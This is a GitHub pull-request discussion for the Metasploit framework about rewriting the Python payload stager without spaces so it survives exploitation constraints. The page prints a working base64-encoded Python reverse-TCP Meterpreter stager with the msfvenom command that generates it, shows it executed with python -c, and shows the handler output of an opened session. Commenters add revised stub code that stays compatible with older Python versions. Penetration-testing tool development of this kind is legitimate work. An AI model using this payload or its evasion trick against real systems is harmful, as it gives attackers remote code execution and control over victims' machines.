Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added Python stager format without a space #13263

Merged
merged 2 commits into from
Apr 21, 2020

Conversation

mdisec
Copy link
Contributor

@mdisec mdisec commented Apr 16, 2020

Hi,

TL;DR This PR changes python dropper format and uses __import__ in order to get rid of space on the import.

This PR has an interesting story πŸ‘€ Let me share the story with you guys.

I do live streams about security research on Twitch. Metasploit is quite popular among security researches in Turkey like rest of the world. In order to encourage local security community in Turkey to contribute back to the MSF, a week ago, I started doing a live stream about "Metasploit Development Series" on Twitch ! Reaction from the community was quite unexpected. We have done 10 hours of msf development stream so far with a more than total 5,500 viewers !

Having that much of people on your side, you always find an opportunity to learn some new tricks. Yesterday night, I was doing a stream in order to talk about exploitation tricks of #13094 ! I was talking about a white space within the dropper and how it cause a problem for exploitation in our case.

To be honest, this is not the first time that I've faced with this issue. 3 years ago, I had to use same trick -using perl wrapper like generic_sh encoder does- on #8540 !

One of the viewers ( I guess he's @hasantayyar ), who has knowledge with python, told me that it's possible to get rid of the white-space by using __import__ during stream!

spaceless_python

After the stream, another viewer, @0xF61, , came up with a very clean version of python dropper by using __import__ mention by hasantayyar.

TEST

I've tested that version of python dropper with both python2 and python3. It works very well.

➜  metasploit-framework git:(spaceless_py_payload) ./msfvenom -p python/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444                        
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 384 bytes
exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo='))

Both test with py2 and py3.

➜  metasploit-framework git:(spaceless_py_payload) pyenv shell 2.7.14
➜  metasploit-framework git:(spaceless_py_payload) python -V         
Python 2.7.14
➜  metasploit-framework git:(spaceless_py_payload) python -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo='))"
➜  metasploit-framework git:(spaceless_py_payload) 

Classic MSF Handler with python payload.

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Sending stage (53755 bytes) to 127.0.0.1
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:49400) at 2020-04-16 16:08:08 +0300

meterpreter >

I wanted to share the story behind of that PR in order to mention original contributors !

All the credits of this PR belong to these two genius guys.

Thanks !

@omuraltunsu
Copy link

Severek takip ediyoruz mehmet hocam.

@acammack-r7
Copy link
Contributor

No spaces would be nice! Unfortunately, this breaks some early 3.x series Pythons, that required a bytes object for decoding. Compare https://docs.python.org/3.2/library/base64.html#base64.b64decode (s is the byte string to decode) and https://docs.python.org/3.6/library/base64.html#base64.b64decode (Decode the Base64 encoded bytes-like object or ASCII string s). There might be a way to use the codecs library (maybe codes.getencoder('UTF-8').encode?), though I think it would also start raising the size of the payloads.

@timwr
Copy link
Contributor

timwr commented Apr 17, 2020

@acammack-r7 surely that can be fixed by putting a b infront of the string literal? e.g b64_stub = "exec(__import__('base64').b64decode(b'#{ Rex::Text.encode_base64(cmd)}'))"

@mdisec
Copy link
Contributor Author

mdisec commented Apr 17, 2020

I've tested @timwr solutions and it works as expected. But I'm kind a lost about why we are getting errors from rake spec for stageless python http droppers. Any idea ?

@acammack-r7
Copy link
Contributor

@timwr b (or unknown prefixes) are not supported in Python versions < 2.6 (see https://docs.python.org/2.5/ref/strings.html).

@smcintyre-r7
Copy link
Contributor

Maybe something like this would work

b64_stub = "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{ Rex::Text.encode_base64(cmd)}')[0]))"

Tested on Python versions:

  • 2.4.6
  • 2.7.7
  • 3.1.5
  • 3.2.6
  • 3.7.6

It uses the codecs module to decode the string to a bytes object as necessary on older 3.x versions without using the b prefix that's incompatible with older 2.x versions. Also no spaces.

@mdisec
Copy link
Contributor Author

mdisec commented Apr 21, 2020

That's awesome ! @smcintyre-r7 I've tested it locally and it works very well.

when I run rake spec, I do get same errors.

spec './spec/lib/msf/core/opt_address_local_spec.rb[1:1:4:5]' # Msf::OptAddressLocal behaves like an option with valid values should be valid and normalize appropriately: en8
rspec './spec/modules/payloads_spec.rb[1:256:1:1:3]' # modules/payloads python/meterpreter_reverse_http it should behave like payload cached size is consistent python/meterpreter_reverse_http has a valid cached_size
rspec './spec/modules/payloads_spec.rb[1:253:1:1:4]' # modules/payloads python/meterpreter/reverse_tcp_ssl it should behave like payload cached size is consistent python/meterpreter/reverse_tcp_ssl has a valid cached_size
rspec './spec/modules/payloads_spec.rb[1:257:1:1:3]' # modules/payloads python/meterpreter_reverse_https it should behave like payload cached size is consistent python/meterpreter_reverse_https has a valid cached_size
rspec './spec/modules/payloads_spec.rb[1:258:1:1:3]' # modules/payloads python/meterpreter_reverse_tcp it should behave like payload cached size is consistent python/meterpreter_reverse_tcp has a valid cached_size
rspec './spec/modules/payloads_spec.rb[1:255:1:1:3]' # modules/payloads python/meterpreter_bind_tcp it should behave like payload cached size is consistent python/meterpreter_bind_tcp has a valid cached_size
rspec './spec/modules/payloads_spec.rb[1:252:1:1:4]' # modules/payloads python/meterpreter/reverse_tcp it should behave like payload cached size is consistent python/meterpreter/reverse_tcp has a valid cached_size
rspec './spec/modules/payloads_spec.rb[1:251:1:1:4]' # modules/payloads python/meterpreter/reverse_https it should behave like payload cached size is consistent python/meterpreter/reverse_https has a valid cached_size
rspec './spec/modules/payloads_spec.rb[1:248:1:1:4]' # modules/payloads python/meterpreter/bind_tcp it should behave like payload cached size is consistent python/meterpreter/bind_tcp has a valid cached_size
rspec './spec/modules/payloads_spec.rb[1:254:1:1:4]' # modules/payloads python/meterpreter/reverse_tcp_uuid it should behave like payload cached size is consistent python/meterpreter/reverse_tcp_uuid has a valid cached_size
rspec './spec/modules/payloads_spec.rb[1:250:1:1:4]' # modules/payloads python/meterpreter/reverse_http it should behave like payload cached size is consistent python/meterpreter/reverse_http has a valid cached_size
rspec './spec/modules/payloads_spec.rb[1:249:1:1:4]' # modules/payloads python/meterpreter/bind_tcp_uuid it should behave like payload cached size is consistent python/meterpreter/bind_tcp_uuid has a valid cached_size

@smcintyre-r7
Copy link
Contributor

Ah yes, that's because the cached size of the payload is stored in the module and this Pull Request modifies that. You should be able to fix that using tools/modules/update_payload_cached_sizes.rb which will recalculate and update all the modules as necessary. It doesn't take any arguments, and you'll just need to add and commit the files it changes.

We cache a payload size for things like determining compatibility with exploits that have a limited amount of space.

Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Changes look good to me. This looks like it even makes it smaller which is fantastic πŸŽ‰. I'll test this a bit more thoroughly and assuming there are no issues, get it landed.

@smcintyre-r7
Copy link
Contributor

Tested successfully with the extremes of the currently supported meterpreter versions (2.5, 2.7, 3.1, and 3.7). All yielded responsive and functional sessions. Also successfully tested cmd/unix/reverse_python with 2.4.

@smcintyre-r7 smcintyre-r7 merged commit 1615a68 into rapid7:master Apr 21, 2020
@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Apr 21, 2020

Release Notes

The library which generates the Python payload stager to remove whitespace was updated.

@tperry-r7 tperry-r7 added the rn-enhancement release notes enhancement label Apr 29, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

6 participants